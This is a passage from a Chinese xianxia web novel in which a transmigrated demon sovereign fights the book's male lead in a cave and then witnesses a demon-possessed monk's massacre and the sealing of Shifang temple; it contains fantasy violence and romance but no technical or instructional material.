粗细结合的男女同声犹如天音，混杂惊蛰、荇菜的双重声调，“杀妖分尸有违天道，入魔是他良心自省，死有余辜。”
迎着惊雷失智的双眸，美兕又幻化本音的细声细气：“夫君，你的师弟死了，真是便宜他。哈哈哈哈……但是，你还活着，你也要为你做过的事、杀过得妖，得到你应得的报应。哈哈哈哈……”
惊雷震在原地，心中充斥起戾气和杀意，杀妖的血腥再次勃然而起，试图调动体内的佛力击杀她。
然而，佛力早在日夜欢好中被蛇妖的妖力侵蚀。若要杀死蛇妖美兕，唯有入魔一途。
他的道，彻底崩了。
神智堕入无边的黑夜。额心浮现蛇痕妖印，识海再次被紫雾弥漫，也彻底被妖毒侵蚀。
“啊……”
毁天灭地得一声怒吼，入魔失智的惊雷追着美兕向无尽处狂奔而去。
——
琉璃宝车在十方山寺上空徘徊一圈，没有发现荇菜想找的洞窟。
荇菜看向琉璃宝车下方的十方山寺，又转向水泽乡方向：“金猴姐，到两境交界处找。”
神风驹飞在山泽国和十方山寺的交界处，徘徊在壮丽的十方山境。
金猴姐感叹：“我就说这地儿太大，当年随黄椒治理大水，全靠这片山挡住洪水。”
突然，车架上站一人，吓她一跳：“你谁啊？”
九阳剑尊轻轻，目视下方水凹悬崖处。以西双儿的身份玉牌寻息追踪确实在这下方。
金猴姐定睛看下，崖顶绿林掩映一间不大的红砖小寺。若不仔细，确实容易错过。
“小荇，下面有寺庙！”
荇菜看向车厢外挺立如剑的身影，转向远处天穹，七星镇魂阵正在外显。
她默默地勾起唇角：美兕的动作很快，半天就搞定惊雷，没有辜负本尊对她的期望！
九阳剑尊刚要动身，不由看向远处山岚：“十方寺以高僧舍利镇压锁妖塔，五座锁妖塔构成大型镇压阵法，今日怎么外显？”
“剑尊不去看一下吗？听说数百年前大妖美兕携人修攻山，死不少和尚。”荇菜在车厢内平静道，“既已经寻到朱琴天的踪迹，不过区区金丹，本尊自己去就行！”
九阳剑尊心中迟疑，一步跨出消失在车架。
如今的荇菜被封印大半修为，不过金丹中期左右。
荇菜凝眉，直接在车厢内瞬移，挡在山洞前，阻止九阳剑尊入内：“剑尊，本尊与他也有仇，行个方便！”
真是不按常理出牌的男人！
“我要尽快救下人，再赶去十方山寺。”
“呵，”荇菜侧眸，“剑尊确定要在这里和本尊耗着？”
巨大的钟鸣声在山川
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间回响，正是十方寺的警示钟声，有人攻山，危险不小。
而山洞里也传来女子的尖叫，像西双儿的声音。
九阳剑尊瞧入荇菜含笑的眼眸：“人命于你来说是什么？”
“妖尊眼中只有自己，无它！”荇菜观他皱眉，又笑，“再送你一个消息，今日山泽皇室携兵攻打高昌国都。你猜，青虞宗的弟子会不会也参与其中？”
九阳剑尊明显不知此事，往后一退，消失在洞口。
荇菜勾唇，漫步进入山洞。
朱琴天又赤着上身在人前瞎晃。他单手如铁，死死地掐住西双儿的脖子，仰面吸食她的灵力。
听见洞口的脚步声，他微斜目光，扫见款步而来的荇菜：“是你！”随手一扔，如丢废物一样抛下西双儿。
“你认识我？”荇菜莞尔。一别经年，容貌一变再变，没想到能被认出来！
洞窟内，瑶姬趴在一旁，生死不知。西双儿剩半条命，正向荇菜处爬来：“救……我……”
朱琴天了然道：“合欢妖女，当年你偷闯青虞宗被我发现，却妖言惑众让禾师姐杀我。后来，你死在阳梧山，却死而复生，摇身一变同合欢宗花涟长老成亲，克死夫君，越俎代庖成为新的莲花峰峰主，如今的合欢妖尊。”
“呵，人人眼中都有一个本尊，本尊眼中已无你们。”荇菜的笑容噙在唇角，幽幽道，“紫芳城外的山上，你杀了他们！”
“他们是因为你才死的，罗玲临死前说等得人是你。你撺掇禾师姐寻我错处，一切都是你在背后搞鬼。”朱琴天狠狠地盯向瑶姬的身影，“你们一个两个，莫名其妙都争对我！你们该死！”
“死？”荇菜淡定地欣赏他的愤怒和狂躁，好奇剧情大神在干什么，怎么还没出现新台词，缓缓道，“你想她们死，却不一次弄死她们，留着慢慢折磨呢？”
朱琴天听说过合欢妖尊的厉害，也体会到她不按常理出牌的性格，冷笑：“是啊。一个对我像是有生死大仇，一个嫌我废材又退婚的西家大小姐。两位都是好姑娘，我岂能一下子弄死她们。”
“哈哈哈，不介意本尊加入你们吧？”荇菜得这句话终于触发剧情大神。
原著是退婚流龙傲天男主立志升级迎娶大批后宫的种/马文。原文的主线之一是厉害的女子必须成为朱琴天的后宫。
荇菜得这句话触发剧情主线，让剧情大神再次出现。
她的话也再次让朱琴天意外。
他蹙眉道：“你不是来救她们？”
“救？不啊。你知道瑶姬为什么恨你，数次为难你，甚至刺你一剑？”荇菜的目光凝在他头顶本要凝固的文字，转换的口风再次上剧情文字忽闪着改变。
剧情大神也摸不准这个女人到底来干什么！
朱琴天狐疑地瞟向躺在地上的瑶姬：“她不肯说。”
荇菜：“当然，若说了，以你们现在的关系，你会直接捏死她。她怎么敢说！”
朱琴天头顶的剧情文字终于完全呈现，一大半是他的心境描述，一半是乱码。
现在的剧情说明像是给荇菜开明牌局！
此前晃动得“合欢妖尊修习合欢术，采补她促进修为”，改为“朱琴天也想弄明白瑶姬为什么恨自己，而这个合欢妖尊的出现，￥%#……&。”
意外的配角，意外的答案，超出剧情大神的限定内容，无法预料剧情走向就会出现乱码。
朱琴天听劝，扬手一摄捏住飞来的瑶姬，紧掐她的脖子：“你说我会杀死她。我想很久，她这张脸确实似曾相识。但是，那个女人应该早就死了。她的师姐可能没死，但她肯定死了！”
瑶姬一直装晕，现在被掐得无法呼吸，拍打朱琴天的手背：“放开我，你个混蛋。你想知道，我告诉你！”
朱琴天果然松手，怒视她。
荇菜仿佛回到当年的青衍镇外的青山洞窟，成为那个旁观的工具女配。
剧情大神：瑶姬终于说出青山洞窟换脸的真相，她希望男主能#￥@#￥%。朱琴天当然会原谅￥%￥#@。
76. 第 76 章
瑶姬愤怒地道出换脸的真相，又指向荇菜：“朱琴天，我就是见不得你好。九霄拯救我，我可以不杀你，却不能让你在青虞宗立足。她才是真正恨你的人，自始至终不肯放过你，一定要杀你报仇得人是她。
现在，你明白在宗门弟子大比上我为什么刺你一剑吧？”
朱琴天冰冷地看向荇菜：“你怎么可能不死？当年，我夺你长剑，将你一剑穿胸，你不可能不死！”
荇菜轻轻地勾起唇：“师姐，少说一件事，骗西双儿到青虞宗，不是本尊指示你。”
荇菜的回避就是承认做过的事。瑶姬咬牙，冷笑着瞪向朱琴天：“你看禾诗逸的眼神不同，我怎么能让你们在一起？禾诗逸和她走得近，兴许知道我的真实身份。若你们在一起，你能放过我吗？”
朱琴天的瞳孔巨震，掐紧掌心：“你们说得都是真事？”
若当年没有妇人之仁、心慈手软，而是在青山洞窟里就毁尸灭迹，定不会有今日的祸。
荇菜学着道生花戏谑世人的神情，莞尔：“事情弄清楚，可以开打吧？朱琴天，当年你刺本尊一剑。现在，本尊要拿回自己应有的命。”
若没有朱琴天得一剑，《玉石还阳功》不会起作用，项檀不会是第一个！
若没有朱琴天的主角光环，这本书不会存在，不会穿入书中被命运摆布！
流转的紫眸直取朱琴天大睁的双眸，试图夺取他的神智。
惑术就是要出其不意攻其不备！
金猴姐给荇菜护法，一脸兴奋：小荇开心就好！
朱琴天的瞳孔里流转金色，纯阳体质在解除荇菜的惑术控制。
瑶姬忽然道：“荇师姐，你还不快进入他的识海诱出心魔！”
荇菜的额头覆上冷汗，纯阳体质克制邪祟妖术，惑术也是邪术之一。
她不得不撤出瞳术，这是第一个没靠修为就抵抗住《还阳功》惑术的人。
朱琴天的身体得到自由，持剑直刺妖女。
青山洞窟得一幕好像再次重演。
荇菜恨得眉心直跳，目视剧情大神的文字：
朱琴天岂能让合欢妖女再次伤害自己，手持冥神剑斩向妖女。这次，他必须让她彻底死掉，死前，还要吸尽妖女的灵力。邪魔歪道，人人得以诛之。
“混蛋。今日，本尊就要颠覆这剧情限定！”荇菜张手一握，花涟的流苏长剑入手，旋剑绕过挡路的金猴姐，与朱琴天的长剑狠狠地撞在一起。
金色火花四色，剑与剑的用力摩擦令人齿麻。
朱琴天再换剑招，荇菜转手突刺，势必还他一剑，却被回防的招数挡掉。男主的剑术不怎么样，却总能化险为夷。
朱琴天冷笑：“合欢妖尊，你的灵力，我要了。”
“是吗？本尊睡狗都不会睡你这根烂黄瓜！”荇菜释放半身灵力。金丹中期的实力与朱琴天不相上下。
两人战在一处，剑光四散、火花四溅，硬是僵持许久。
金猴姐扶起西双儿和瑶姬：“你们是走还是留？”
朱琴天发现金猴姐的举动，旋身飞跃挡在洞窟出口前：“你们走不了，她们服下用蛇果炼制的承欢丹，必须要男人才能解！”
荇菜瞧见剧情大神欢乐地舞动，回归剧情本情，剧情大神很开心。
剧情大神：承欢丹乃是朱琴天的助情灵药，可以让女子无苦而欢，助力他功力大增。此两女已如探囊取物，眼下本该死去的妖女更不能放过，此次必将她挫骨扬灰。
荇菜一掌打向剧情文字，灵力穿字而过，气得她胸疼。
干不过剧情大神，可以对付祂的儿子。
“不巧，自从发现蛇果的危害，本尊也已炼制解药。”
迎向朱琴天变色的脸，再次瞬移进攻。荇菜的战斗优势是她曾经到过元婴后期、半步化神，比朱琴天更能随心驾驭灵力。
尽管朱琴天有纯阳体质护体，但他是个靠双修采补法门进入金丹后期的邪修。
两人又打半天，剧情大神还有一半的护犊子能力，硬是让两人打得不分上下。
朱琴天和荇菜的目光一致轻眯，双双近前，一人催动纯阳体质的特殊能力，吸纳对方灵力。荇菜以《还阳功》第一篇第四章“夺天地自然之气，道转阴阳”之法强制吸食朱琴天的灵力。
僵持中，剧情大神赠送的功法反克剧情男主的体质，所谓以彼之矛攻彼之盾。
两人互相吸走对方一口灵力。
荇菜瞬移后退，“哕……”
这口吸来的灵力让她仿佛置身臭茅坑当中，搅动经脉作痛，还恶心反胃，仿佛吃口绿豆发酵的豆汁，“哕……”
金猴姐急奔来，挡住趁机偷袭的朱琴天：“老娘没灵力，你吸个屁。害我金花名声，吃我一脚。”她踹出一脚，硬把朱琴天踹向洞口。
瑶姬御剑而起，直袭朱琴天心口，趁你病要你命。
“你给我死！”
朱琴天本想再打，晃见一道身影在合欢妖尊的身旁成形，本着被瑶姬长剑刺中的危险，转向洞外逃去。
余下几人的行动不便，金猴姐对朱琴天没有深仇大恨，没想着追杀他。
荇菜恶心得头脑发晕，自顾不暇，不明白吸口灵力怎么就这样！
九阳剑尊的身形凝聚，一把拉起荇菜：“你怎么了？”
“恶心！”荇菜又哕两下，战斗力全无，泪眼汪汪地看向九阳剑尊，“哕，我好难受啊！他的灵力怎么会这样？哕……”
九阳剑尊点在她的腕脉，剑指运力，驱逐她体内不兼容的灵力。
“哕……啊！这是什么糟糕的灵力，好恶心！”荇菜仰面看向默默无言的九阳剑尊，残留的反胃感还在搅动神经。
最近的吸引力、好闻的气息来自于他。她想也不想就吻上去。
九阳剑尊愣怔，一张口，体内被吸出来的灵力僵持在喉口，欲出不出。
他是纯阳体质，但凡本体不愿意，灵力就不可能被别人吸走。
心神微动，这口灵力急流而去，入荇菜的唇齿。
“呼！”荇菜深深地缓过劲，又忘我般地辗转在他的唇齿，汲取更多让人舒畅的灵力。直到有人重重地咳了声，理智归笼，她眨着眼离开九阳的唇瓣，环顾四周目瞪口呆的几人，大叫：“朱琴天呢？”
九阳剑尊轻轻地舐了下唇角，默默地松开她的腰肢。
西双儿嫌弃地撇开脸：没见过这么没脸没皮的女人，当众亲吻师伯！不提醒她是不是就当场睡人？
瑶姬：反射弧会不会太长，故意吧？
金猴姐：“他跑了。你可以亲我吗？我应该也能让你缓过劲！”
荇菜闭眼深吸口气：“杀他果然不易，还是我太弱！不过，他的灵力怎么这么恶心？呸呸呸……”
又转向目光如炬的九阳剑尊，抽着唇角，睨他，“为什么你的灵力这么香？”
九阳剑尊张口无言，耳尖泛红，目光转向别处。
瑶姬学她的作态“哕”了声：不如明说，你想采补他！
西双儿好奇道：“灵力什么味道？”
“雨后的山间流水、晚风拂过的树林，干净清冽，好闻又舒爽！”荇菜发现背身离开的九阳剑尊耳朵是血红色，一把拽住他的手不让走，“你去哪？”
“山泽国主崔洧亲自领兵，攻打高昌国都。我要前去阻止此事。”
荇菜纵身一蹦，挂在他的后背：“你去不了。合欢宗也参与此事，崔洧吞并山泽势在必行。十方山寺如何？”
“十方寺说这是雷火寺的家事，不让外人参与。”九阳剑尊反应过来：“合欢宗、欧丝国决定相助山泽、青虞？”
“是啊。大家都说道祖天尊要飞升了。他飞升后天下注定大乱，谁会不提前下注，难道等着被乱世洪流淹没？”荇菜道完，洞窟四周传来震动，像是发生地震。
几人急奔出洞窟外，九阳剑尊带荇菜立在水泽乡的高处。金猴姐带瑶姬和西双儿上琉璃宝车。
九阳剑尊远眺十方山寺的方向：“七星镇魂阵碎裂，镇压的妖魂
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会祸乱人间。这是你想看到的场面吗？下去。”
荇菜就是不下，箍住九阳的脖子，朝金猴姐道：“你先送她们回青虞宗，我要在这里看着他。”
金猴姐本要拒绝，却被瑶姬和西双儿按在车架。
她给朱琴天得那脚威力太大，着实让两人信服：“好吧。我先送她们回去，再来找你。”驾驭琉璃宝车，送瑶姬和西双儿返回青虞宗。
三人忘记一事，承欢丹的药力还在瑶姬和西双儿的体内。蛇果被炼制后发作缓慢，但不会不发作。
九阳剑尊想带荇菜去十方寺阻止灾难发生。
荇菜箍紧他脖子的手微微用力：“你若想本尊死，你就尽管去。”
九阳剑尊在半空停下：“什么意思？”又急切道，“合欢宗对你做什么？”
“合欢宗要得无非是在即将到来的乱世中占有一席之地。欧丝国主不是高昌国主，欧丝国主和山泽国一样，不禁妖族。
高昌国的和尚却很喜欢行走欧丝国，以驱妖为名，让别人家破人亡。
有些人要找回亲人，有些妖要复仇，还有些人和妖闲得无聊喜欢掺和一脚。
你阻止不了。七星镇魂阵已经被打开，高昌国注定要乱！”荇菜仰看天穹，阵法犹如钢化玻璃，裂出璀璨碎痕。
巨大的妖佛力量冲击阵法，让阵法彻底掉落。碎片在半空化为金色佛力，散向四方。
“冲击阵法得竟有佛力？”九阳剑尊再扯肩头的手臂，“下来！你不说明白，我现在就赶去！”
荇菜默默地运转体内的灵力，幻化出毫不遮掩的真容，一身火红羽衣散出如羽的热力莹光。
以红色祭奠十方山寺此战，慰藉亡灵。
“惊雷杀妖分尸数百年，心境早已污浊执迷。破坏七星镇魂阵法，打开锁妖塔，是他的自我救赎！”
“歪理！惊雷会这么做，你定出力不少。你怕你出现后他们将矛头对准你！”九阳剑尊彻底明白那句话的意思。合欢宗没有威胁她，而她自己要这么做！
“为何让天下人都争对你？”
“你不带本尊过去，天下人就不知道本尊在背后促成此事。诱惑惊雷得又不是本尊，与他有仇得是千年蛇妖美兕。攻打十方山寺也不是本尊，而是那些与十方山寺有仇的人和妖。
攻打高昌都城得更不是本尊，也不是欧丝国、合欢宗，而是山泽青虞的剑修和国主崔洧。
这场战争是山泽和高昌国历史留存的地理之争。天龙道阻止不了！黄椒治水不过十方山境，这就是他的错！”
九阳剑尊深深地闭眼：“你们连天龙道出手后脱身的理由都已经找好。”
“后面这条也是本尊刚发现的。山泽国主崔洧才是真正厉害。剑仙城、青山城，各大城池人满为患，百姓客居水上又不能繁衍壮大。高昌国凭借十方山寺的天险躲在山后养民为富，怎么能不让人眼红？
境内的民众又以十方寺的佛理为信仰，除却惊雷武僧一脉，各个都好欺负。
一头没有獠牙的猪，怎么会不吸引猎食者？”
九阳剑尊注目远方坍塌的塔身，对于武僧杀妖分尸道也有所耳闻。
但是……
“十方山寺里无辜的文僧呢？你松手！不然，我不客气了。”
“青虞九阳，你现在过去，人家也只会把你当敌人。”荇菜没再巴着他，红色羽衣随高空风流飞扬，赤足神姿，浮空飞起。
九阳剑尊看向漂浮向四周的凤凰翎羽，侧头看她绕飞到面前，望入潋滟的紫波：“你……”
“你想要见那把剑。本尊一直在找机会让你见。”荇菜尽情绽放婉婉笑靥，天人般的神姿玉骨，绝丽无双！
九阳剑尊试图往后撤，念却随心。识海的裂魂破境阵荡出一阵金光，神识被瞬间吸纳。
清澈如镜的碧湖上矗立一把宛如天柱的长剑。他执迷般抬起手，即将触摸剑身时又握住拳：“你可以仗着我的喜爱一再挑衅。但是，你不能让无辜的人身处死境。合欢妖尊，你做错了。”
77. 第 77 章
九阳剑尊的神识剑意席卷荇菜的识海四周，一举搅碎天柱长剑。
“啊……”碎剑凝出荇菜的魂识虚影，摔倒在地。她恨恨地看向九阳剑尊，又忽然展颜，“原来你要的剑是我！早说啊。”扬手祭灵，封堵识海出口，不让九阳剑尊离开。
魂识近前，揽在九阳剑尊的后背腰肢：“此战，你我本该是同僚，而不是敌手。青虞宗三大主力：青虞九阳，九玄，九霄。九霄跌境闭关，九玄置身事外离开宗门，你伤重桃花岛闭关修养。
门中主事者是禾诗逸。你以为光凭禾诗逸敢做下此事？”
九阳剑尊闭眼，一把按在腰间的手上：“我不管九玄和门中长老的打算，但我不能见无辜人死在青虞宗修士的剑下。青虞宗旨：剑行长空，安佑山泽，道指飞升。若他们为崔洧杀无辜者，同杀妖分尸者有什么区别？”
“冥顽不灵。”荇菜松开他，立在他正前，挡在识海出口处，“你想要离开本尊的识海，只有两法：杀掉本尊，破坏识海离去！要么，战胜你心里的魔！”
“你明知我无法杀你。”更战胜不了心魔。湖中灵剑，乃心魔，也就是你。
“你不想这么痛苦，还有一条路可走！”荇菜再次近前，虚化的高大魂识俯视九阳剑尊，“本尊吸收掉你！”
九阳剑尊仰看她，又平视前方虚无处：“你接近我的目的本就是这个。我在归魂殿没被他收走。此时此刻，我也不会让你如愿。”
目如星火，张手凝剑，直斩而下。
荇菜被迫飞身后跃，待要阻拦。九阳神识已经虚晃一招，破开识海出口，飞离而去。
现实里，荇菜没有九阳的灵力支撑，从高空向下方摔去。
她看向上方浮动远离的游云，闻到风中的妖邪气息，没有选择御空飞行，而是直直往山头摔去。
死，不过片刻的事。
九阳剑尊忽感悸动，回眸瞧见宛如流行坠地的黑点，捏紧掌心：“妖女！”想也不想，破空急追。
荇菜的视力极好，目视被砸飞上升的绿叶，停落在离地一掌的距离。
她看向千钧一发出现在上方的焦急脸孔，以及他俯身来捞的长臂，缓缓地伸出自己的手臂：“九阳，抱我。”
荇菜的目光清明且毫无紫波，声音平缓且毫无惑术，婉婉笑靥从心而发。这个男人自己选择赶回来，他真得爱上了。
九阳剑尊的脸色难看至极，弯身一捞把她揽抱在胸前。失而复得的安心让发麻胆怯的心瞬间安定。
他不敢看她，怕顺她的意，打横抱着她向十方山寺赶去：“你可以阻止我救人，但你必须亲眼看你做下的事。”
荇菜勾着他的脖子，贴在他的肩头心口，感受着他有力敲击的心跳。
“我会告诉自己：这不过是书中世界，你们不过是NPC。死掉的人不过是书上寥寥几笔，何足本尊挂齿！”
九阳剑尊凝神赶路，没仔细理会她的话。
十方寺的山间被游荡的妖元袭击，已经一片狼藉。
九阳剑尊的长剑成型，在神识控制下游走而出，横扫下方的黑煞妖元。
火云子修炼六神通，乃是武僧的最强辅助，预测妖元动向、增加武僧的行动力、帮助武僧窥破妖元幻境。
他看到青虞宗的剑光，愤恨地喊：“又是你。我们不需要你假好心！妖女？妖女……你干的好事？”
荇菜没回头看，只发出一记轻笑。
九阳剑尊无视火云子，以神识御剑横扫冲出锁妖塔的无数妖元。
美兕发现荇菜，跃进而来：“妖尊姐姐！”
这声让火云子佛心盛怒：“果然是你！”
九阳剑尊看向同妖元一起杀僧的惊雷大师，他被妖人控制神智，在众多武僧围攻下暴力突围，残杀僧众。这是何等残忍的控制手法。惊雷一旦清醒，如何面对当下？
灵剑锁定蛇妖美兕，御剑直刺而去。此妖，该死！
美兕吓一跳，往后飞躲，操控惊雷来救。
惊雷被美兕控制，横身一扑，不顾背后被僧众打出的伤，抓住长剑，火红的目光蕴藏黑煞：“谁敢伤她！”
美兕嘻嘻发笑：“妖尊姐姐，你这么能耐怎么连个男人都搞不定。你瞧瞧我家这位，教得可还行？”
荇菜想侧头，却被九阳剑尊一把按进怀，不解道：“刚才你让我看，现在又不让我看？”
“污浊之人，污秽之地，不看也罢。”九阳剑尊闭眼，长剑化为九道，旋身而起御成剑阵。周身灵力如水般注入灵剑阵法。
青虞九阳，纯阳剑诀至高剑法：灵耀天下。
灵光如炙热恒阳，普照世间，黑煞妖元尽皆被纯阳剑气诛杀。
惊雷扑在美兕身上，替她挡掉诸多炙热剑芒。
火云子看他救蛇妖，泪意、愤恨凝聚眼眸：“惊雷师兄，你还要执迷到什么时候？”
另一边，圆空大师带十方寺高僧盘坐在十方大殿，空灵佛音传遍十方寺山间，以佛理佛音净尘涤世，渡化妖邪。
惊雷浑身是血，矗立如山。他怒吼一声，仰面攻向剑阵。
林枷的妖元躲藏许久，趁此机会，直扑惊雷法身。他要趁此机会吞噬惊雷的神智，成为他。
现在，他要借机与他一起攻克九阳剑阵，再吞噬惊雷。
灵耀剑阵被大量的妖力、佛力，以及林枷的邪法冲散，反击向九阳剑尊。
九阳剑尊以神识再强控飞回的灵剑，“噗……”反噬之力让他心脉震荡，单膝狠跪在血泊上。
他依旧没有松开荇菜，将人搁在跪着的膝头，强压下内腑涌起的伤：“抓紧我！”
两人周围是雷火寺武僧的残缺尸体，血如水泊。
荇菜扫一眼后就不要看，抚摸九阳的唇角，抹去殷红的血痕，含笑责怪：“本尊说过不要来，你非要来。现在，他们来杀本尊了。”
火云子修炼六通神功，乃是强大辅助战力。
双手凝诀，神足通助力雷火寺的弟子，一众武僧纷纷向合欢妖尊攻击过去。
荇菜一把按在九阳的肩头，不让他起身。
与他忧郁含情的眸光擦过，含着笑，赤足飞升而起。九阳剑尊的手缓缓滑落，终是没能抓住她，就像是自己的命运，分身永远不可能代替正主拥有她。
荇菜旋飞着绕过武僧的攻击，带他们避开九阳剑尊，落在惊雷的面前：“你伤得他！林枷？”
林枷愣怔：“好美的女人。”
“谢谢！传说中的真妖僧果然老奸巨猾，眼神也不可爱。惊雷还是差你一大截，不会心机深沉到伏击你。”荇菜一掌浮向“惊雷”的额心蛇形妖纹，“惊雷大师，醒来吧。你都被寄体了。”
惊雷的神智豁然清明，看向飞高而去的合欢妖尊，大吼一声：“妖女，受死。”
火云子等僧众被这一声纷纷喊住：“惊雷师兄？”
妖女到底帮哪头？果然是妖女，随心所为。
荇菜嘻嘻而笑，冷眼看惊雷拔脚却不动，飞上高空。这个位置适合观察，也是逃走的退路。
她又给美兕传音：“你还不带他们走？等着被困在十方寺吗？”
美兕游走在远处，听到密语传音，嚷嚷：“众妖们，带上你们的家人妖元快走。十方寺的和尚经文将成，即将封山。”
攻山的妖怪们和人纷纷带上自家找的妖元，夺路下山。又有些贪得无厌之辈，还想再杀几名僧人出气。
惊雷想杀荇菜却动不了，发现体内做对的林枷妖元。
他不可能让林枷脱体而逃，再次祸害僧众。新仇旧恨叠加，另可赴死也不能让林枷再出世。
耳闻火云子的叫喊，急喊道：“师弟，杀了我。快，杀了我！”
火云子刚奔至他面前，急急停步：“惊雷师兄？”
惊雷环顾四方，同门僧众的尸体、坍塌的锁妖塔，藏在十方寺大殿念经的文僧众……仿佛数百年前的惨案重现。
这股恨究竟来自哪里？为何解脱不了？
识海里的林枷妖元剥析他的恨意：“当年一战，文僧不战而死，武僧力竭而尽，你难道不恨那些只会念经的和尚？”
“对，我恨文僧，以命挡山死拦；我恨妖族，祸害十方山境平和；我恨林枷、美兕，一切都是因你们而起。
啊……你们休想离开！”
美兕闻声慢下一步，突然就笑起来：“是啊。当年可不就是我姐姐们做的好事。而你，杀我几位姐姐，还活着呢。我怎么能不看着你死了再走。”
荇菜躲开武僧打来的法器，蹙眉道：“贪字误人也误妖。”她以神牵之术，牵引分身引走僧众。
真身出现在九阳剑尊旁边，扶起他：“你不走吗？”
九阳剑尊听过当年十方山境的战斗，也曾赶来支援，却是迟到许多。
“你先走。林枷不是小妖元，不能让他逃出十方山境！”
他缓过一阵，直接张手握剑，飞身上去。
荇菜咬唇，目送他过去，调转神牵之术攻向被林枷附体的惊雷。
林枷带着惊雷，一手能捏死一名僧众，嘴让给惊雷去叭叭。
惊雷清醒地目睹自己的双手造下累累杀孽，怒不可遏：“啊……林枷，我要杀了你。火云子，快啊，杀了我，让他彻底湮灭。”
火云子自顾不暇，又想杀荇菜，又要对付被林枷控制的惊雷，还有那些携带妖元逃走的妖和人。
惊雷意识到自己的无能，沉下心与体内的林枷抗争，阻止手上再增僧众的血。
数百年前的杀戮感官重新燃烧，血泪顺着悔恨滴落。
林枷的妖元收寻到惊雷杀僧的画面，诱惑他沉入识海，再次控制他的法体。
识海里的惊雷跪在无尽的血泊当中，无数妖族临死的画面纷至涌来，向他呼喊索命。
潜伏入洞杀死镇塔高僧，以僧血凝佛阵冲击七星镇魂阵，徒手虐杀僧人同袍的画面……种种罪孽宛如血潮，淹没他抗争的心智，让他彻底失去战斗力，让出身体给林枷。
惊雷：“这一切都是我的错。当年，若我不执迷此道，听师父守空的话放下仇恨，不至于走到这一步。”
林枷被困数百年，所有不甘心都化为这一战。
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“守空秃驴怎配做你师尊？不然，他怎么会离开十方山境！林枷才是你们的师父。哈哈哈哈……杀妖分尸，好好的妖和人组成的家庭被你们破坏，平静的山村上演你们屠尸的场面。喜欢吗？
惊雷，享受被血和悔恨淹没得快乐吧。屠戮妖族让你血恨，屠戮僧众释放你对文僧无能的恨。
哈哈哈哈……你们都要死！”
血红和黑煞的妖力冲天而起，弥漫当空。
天地一片浑噩阴暗，十方寺大殿的金光穿透黑红雾气，流向山境四周，渐升起一方佛力高墙。
美兕不甘心：“林枷，你还不快杀了他，夺取他的法体。你不记得我的姐姐们是为谁而死吗？”
林枷躲开九阳剑尊的灵剑，无数黑煞妖元追随他左右，阻拦九阳剑尊和武僧众。
“小九，当年你还没长大呢。”扬手一摄，抓取美兕的长颈，“惊雷体内的佛力和妖力冲突，让本尊不足以发挥实力，借你的妖力一用。”
“啊……放开我。”美兕没想到林枷再次上演吸食姐姐们妖力的场面，妖力被夺，双足化出原型蛇尾，“妖尊姐姐……救我……”
荇菜没可能再近前，冲天外释的妖元煞气几近已成浓雾。
美兕极力自救，按在林枷的额心：“夫君……救我！”
惊雷识海里混沌的魂识豁然一清，紫雾从识海深处蔓延而上，混乱的记忆让他的戾气陡增：“娘子……危险……”
林枷被重新起来的惊雷控制住，咬牙冷笑：“可笑，你竟然喜欢上仇人！本尊送你们在一起。”双目犹如红色大珠，张口大吸，吸尽美兕的魂识妖力。
一条颈部有疤的黑色大蟒落在血泊，再无动静。
林枷转手接住九阳剑尊的长剑，横扫四周，借力击退一众武僧。
九阳剑尊灵力本就没有恢复多少，此战更让他深受重伤。
火云子被林枷的余力袭击，跌在地上。
他摸着唇角爬起来：“佛笼已成。林枷，你逃不掉。整座十方寺都将成为你的囚笼！”
荇菜仰头看向上方即将合拢的佛力金光，目视下方的混乱：“九阳，你再不走，就要和十方寺一起被封印。”
林枷不想被困在此处，妖元脱身而逃，直奔向荇菜而去。
这个女人的实力不弱，借用法体，逃出十方山境。
九阳剑尊顾不得伤势，疾飞向荇菜：“小心。”
荇菜莞尔，又有点惋惜：“可惜。本尊只对一个人的灵力专情，对妖力妖元可没兴趣。”
张手震动万音铃，至纯佛力从铃铛中尽释而出，照耀得荇菜宛如神佛降临。
“啊……”林枷从不觉得世间的佛力有多大的威力，至多片刻就能打破。
但是，这道佛力既熟悉又至强，仿佛精钢之剑，穿刺他的妖元。
惊雷的法体没有林枷捣乱，重新控制身体。但他的识海里，美兕还在纠缠不休。
他救下美兕，美兕却反过来吞噬他。
高空的佛力照耀，惊雷下意识仰面看向绽放如金莲花的佛力。林枷的妖元正被至纯佛力侵蚀消融。熟悉的佛息让他恍惚，升起冉冉怀念情谊。
“惊蛰……怎么会……这么强的佛力！”
那颗被妖女拿走的佛珠。
火云子跌撞奔去，抱住惊雷，仰面泪目：“师兄，你醒了。这些佛力，比龙弼主持、圆空大师还要精纯。妖女怎么会有这么强的佛力？”
惊雷强大的身躯瘫软下来，识海里美兕的反扑让他无能为力。
“佛珠。他临死前顿悟佛境，留下的佛珠蕴藏他毕生的佛力。”
火云子的头顶螺髻里飞出八颗佛珠，正是他从即谷外溪涧收集回来的佛珠。九粒佛珠余下一颗就在妖女的铃铛里当珠子。
此时，八颗佛珠受到上空佛珠的感应，纷纷绽放佛力，驱散逃窜在十方山境的黑煞妖元。
这一刻，惊雷恍然：“临死前，惊蛰师弟解脱了也顿悟了。原来是这样。”
惊雷的血泪滴落在火云子的僧袍，染出数朵嫣红，“火云子，雷火寺的传承留给你。师兄罪孽深重，执迷不悟，今日就走到这。”
火云子泪如雨下：“惊雷师兄……”接住缓缓倒下的惊雷，揽抱在怀。
闭目的惊雷扯起唇角，无声道：“美兕，我们……一起死吧。”
惊雷的识海内，美兕最后的执念散尽，消散于无。
蛇妖尸身也在金光佛力下熔蚀消散，余下一颗灰扑扑的内丹。
高空上，荇菜冷漠地看向已经近在眼前的林枷，璀璨的紫眸目视他不可置信的大眼。
“因为啊，这是梦啊。”
蜃珠施展的神佛之梦，加上万音铃的佛铃力量，入梦人自我解读、自我解脱。
这就是蜃珠迷惑万物的力量。
荇菜轻轻地一吹，林枷的妖元在金色的佛力里气化消失。她转手拉住九阳，不准他再下去：“我没力气了，你真得要同他们困在佛笼里吗？”
九阳剑尊微滞，携带荇菜化光飞高，从佛笼隙口脱离而去。
78. [锁] [此章节已锁]
十方山境的佛笼即将闭合，龙弼大师拉住火云子，接住掉落的八颗至纯佛珠，取下手中珠串上得一颗佛珠按在他的掌心：“世间不可无僧，民众不可无信。僧人的香火传承不可断，不论文武僧众，皆为佛道。火云子，运用你的六通神功，速速离去啊。”
火云子握紧九颗佛珠：“师父……”
佛笼合境，十方寺和靠近的雷火寺一起消失在十方山境内，五座锁妖塔也同时不见。
此后，十方寺归隐十方山境，世人无迹可寻。
山境内依稀还有僧庙，在此战过后也日渐凋零。
